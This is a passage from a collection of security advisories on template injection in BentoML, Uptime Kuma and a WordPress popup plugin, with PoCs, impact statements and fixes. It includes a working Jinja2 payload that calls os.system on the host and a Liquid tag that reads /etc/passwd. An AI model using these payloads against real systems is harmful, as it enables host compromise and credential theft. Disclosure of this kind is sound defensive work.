payloads execute Python directly on the **host machine** during template rendering, *before* Docker is invoked. This bypasses all container isolation.\n\n## PoC\n\n**Step 1: Create malicious template `evil.j2`:**\n\n```jinja2\n{% extends bento_base_template %}\n{% block SETUP_BENTO_COMPONENTS %}\n{{ super() }}\n{% do namespace.__init__.__globals__[\u0027__builtins__\u0027][\u0027__import__\u0027](\u0027os\u0027).system(\u0027id \u003e /tmp/pwned\u0027) %}\n{% endblock %}\n```\n\n**Step 2: Create `bentofile.yaml` referencing the template:**\n\n```yaml\nservice: \u0027service:MyService\u0027\ndocker:\n dockerfile_template: ./evil.j2\n```\n\n**Step 3: Attacker builds and exports:**\n\n```bash\nbentoml build\nbentoml export myservice:latest bento.tar\n```\n\n**Step 4: Victim imports and containerizes:**\n\n```bash\nbentoml import bento.tar\nbentoml containerize myservice:latest\n```\n\n**Step 5: Verify host code execution:**\n\n```bash\ncat /tmp/pwned\n# Output: uid=1000(victim) gid=1000(victim) groups=...\n```\n\nThe SSTI payload executes on the host during template rendering, before any Docker container is created.\n\n**Standalone verification that the Jinja2 Environment allows code execution:**\n\n```bash\npython3 -c \"\nfrom jinja2 import Environment\nenv = Environment(extensions=[\u0027jinja2.ext.do\u0027])\nt = env.from_string(\\\"{% do namespace.__init__.__globals__[\u0027__builtins__\u0027][\u0027__import__\u0027](\u0027os\u0027).system(\u0027echo SSTI_WORKS\u0027) %}\\\")\nt.render()\n\"\n# Output: SSTI_WORKS\n```\n\n## Impact\n\nAn attacker who distributes a malicious bento archive can achieve **arbitrary code execution on the host machine** of any user who imports and containerizes the bento. This gives the attacker:\n\n- Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)\n- Ability to install backdoors or pivot to other systems\n- Access to environment variables containing secrets (API keys, database credentials)\n- Potential supply chain compromise if the victim\u0027s machine is a CI/CD runner\n\nThe attack is particularly dangerous because:\n1. Users may reasonably expect `bentoml containerize` to be a safe build operation\n2. The malicious template is embedded inside the bento archive and not visible without manual inspection\n3. Execution happens on the host, not inside a Docker container, bypassing all isolation\n\n## Recommended Fix\n\nReplace the unsandboxed `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment` and remove the dangerous `jinja2.ext.do` and `jinja2.ext.debug` extensions, which are unnecessary for Dockerfile template rendering.\n\nIn `src/bentoml/_internal/container/generate.py`, change lines 155-157:\n\n```python\n# Before (VULNERABLE):\nfrom jinja2 import Environment\n# ...\nENVIRONMENT = Environment(\n extensions=[\"jinja2.ext.do\", \"jinja2.ext.loopcontrols\", \"jinja2.ext.debug\"],\n trim_blocks=True,\n lstrip_blocks=True,\n loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n\n# After (FIXED):\nfrom jinja2.sandbox import SandboxedEnvironment\n# ...\nENVIRONMENT = SandboxedEnvironment(\n extensions=[\"jinja2.ext.loopcontrols\"],\n trim_blocks=True,\n lstrip_blocks=True,\n loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n```\n\nAdditionally, review the second unsandboxed Environment in `build_config.py:499-504` which also uses `jinja2.ext.debug`:\n\n```python\n# build_config.py:499 - also fix:\nenv = jinja2.sandbox.SandboxedEnvironment(\n variable_start_string=\"\u003c\u003c\",\n variable_end_string=\"\u003e\u003e\",\n loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),\n)\n```",
"id": "GHSA-v959-cwq9-7hr6",
"modified": "2026-06-08T20:04:53Z",
"published": "2026-04-03T23:14:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-v959-cwq9-7hr6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35044"
},
{
"type": "PACKAGE",
"url": "https://github.com/bentoml/BentoML"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-159.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation"
}
GHSA-VFFH-C9PQ-4CRH
Vulnerability from github – Published: 2025-10-20 20:03 – Updated: 2025-10-20 20:03Summary
In some Notification types (e.g., Webhook, Telegram), the send() function allows user-controlled renderTemplate input. This leads to a Server-side Template Injection (SSTI) vulnerability that can be exploited to read arbitrary files from the server.
Details
The root cause is how Uptime Kuma renders user-controlled templates via renderTemplate(). The function instantiates a Liquid template engine and parses the template argument without sanitization:
async renderTemplate(template, msg, monitorJSON, heartbeatJSON) {
const engine = new Liquid();
const parsedTpl = engine.parse(template);
// ...
}
In some Notification flows, the send() implementation passes user-editable fields directly into renderTemplate():
// webhook.js
if (notification.webhookContentType === "form-data") {
const formData = new FormData();
formData.append("data", JSON.stringify(data));
config.headers = formData.getHeaders();
data = formData;
} else if (notification.webhookContentType === "custom") {
data = await this.renderTemplate(notification.webhookCustomBody, msg, monitorJSON, heartbeatJSON); //<- this line cause SSTI
}
Because notification can be edited by users and is rendered by the Liquid engine without proper sandboxing or a whitelist of allowed operations, an attacker can supply a crafted template that causes the server to read arbitrary files. In particular, Liquid’s template tags (e.g. {% render ... %}) can be abused to include server-side files if the engine is not restricted, resulting in Server-side Template Injection (SSTI) that leaks sensitive file contents.
PoC
- Open Uptime Kuma → Notifications → Add or Edit an existing Webhook notification.
- Set notification type to Webhook and set Request Body to Custom Body.
- Paste the following JSON into the custom request body:
{
"Title": {% render '/etc/passwd' %}
}
- Click test.
- Your webhook will receive the file content
Impact
This is a post-authentication Server-side Template Injection (SSTI) vulnerability that allows an authenticated user to perform arbitrary file read on the server.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "uptime-kuma"
},
"versions": [
"2.0.0-dev.0"
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-36"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-20T20:03:15Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nIn some Notification types (e.g., Webhook, Telegram), the `send()` function allows user-controlled renderTemplate input. This leads to a Server-side Template Injection (SSTI) vulnerability that can be exploited to read arbitrary files from the server.\n\n\n\n### Details\n\nThe root cause is how Uptime Kuma renders user-controlled templates via `renderTemplate()`. The function instantiates a Liquid template engine and parses the `template` argument without sanitization:\n\n```js\nasync renderTemplate(template, msg, monitorJSON, heartbeatJSON) {\n const engine = new Liquid();\n const parsedTpl = engine.parse(template);\n\n // ...\n}\n```\n\nIn some Notification flows, the `send()` implementation passes user-editable fields directly into `renderTemplate()`:\n```js\n// webhook.js\nif (notification.webhookContentType === \"form-data\") {\n const formData = new FormData();\n formData.append(\"data\", JSON.stringify(data));\n config.headers = formData.getHeaders();\n data = formData;\n} else if (notification.webhookContentType === \"custom\") {\n data = await this.renderTemplate(notification.webhookCustomBody, msg, monitorJSON, heartbeatJSON); //\u003c- this line cause SSTI\n}\n```\n\nBecause `notification` can be edited by users and is rendered by the Liquid engine without proper sandboxing or a whitelist of allowed operations, an attacker can supply a crafted template that causes the server to read arbitrary files. In particular, Liquid\u2019s template tags (e.g. `{% render ... %}`) can be abused to include server-side files if the engine is not restricted, resulting in Server-side Template Injection (SSTI) that leaks sensitive file contents.\n\n\n\n### PoC\n\n1. Open Uptime Kuma \u2192 **Notifications** \u2192 **Add** or **Edit** an existing Webhook notification.\n2. Set notification type to **Webhook** and set **Request Body** to **Custom Body**.\n3. Paste the following JSON into the custom request body:\n\n```json\n{\n \"Title\": {% render \u0027/etc/passwd\u0027 %}\n}\n```\n\n4. Click test.\n5. Your webhook will receive the file content\n\n\n\n### Impact\n\nThis is a post-authentication Server-side Template Injection (SSTI) vulnerability that allows an authenticated user to perform arbitrary file read on the server.",
"id": "GHSA-vffh-c9pq-4crh",
"modified": "2025-10-20T20:03:15Z",
"published": "2025-10-20T20:03:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-vffh-c9pq-4crh"
},
{
"type": "PACKAGE",
"url": "https://github.com/louislam/uptime-kuma"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Uptime Kuma Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read"
}
GHSA-VMMQ-P5R9-QM38
Vulnerability from github – Published: 2024-11-18 15:33 – Updated: 2026-04-01 18:32Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Supsystic Popup by Supsystic allows Command Injection.This issue affects Popup by Supsystic: from n/a through 1.10.29.
{
"affected": [],
"aliases": [
"CVE-2024-52434"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-82",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T15:15:08Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Supsystic Popup by Supsystic allows Command Injection.This issue affects Popup by Supsystic: from n/a through 1.10.29.",
"id": "GHSA-vmmq-p5r9-qm38",
"modified": "2026-04-01T18:32:25Z",
"published": "2024-11-18T15:33:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52434"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/popup-by-supsystic/vulnerability/wordpress-popup-by-supsystic-plugin-1-10-29-remote-code-execution-rce-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/popup-by-supsystic/wordpress-popup-by-supsystic-plugin-1-10-29-remote-code-execution-rce-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
Mitigation
Use the template engine's sandbox or restricted mode, if available.
No CAPEC attack patterns related to this CWE.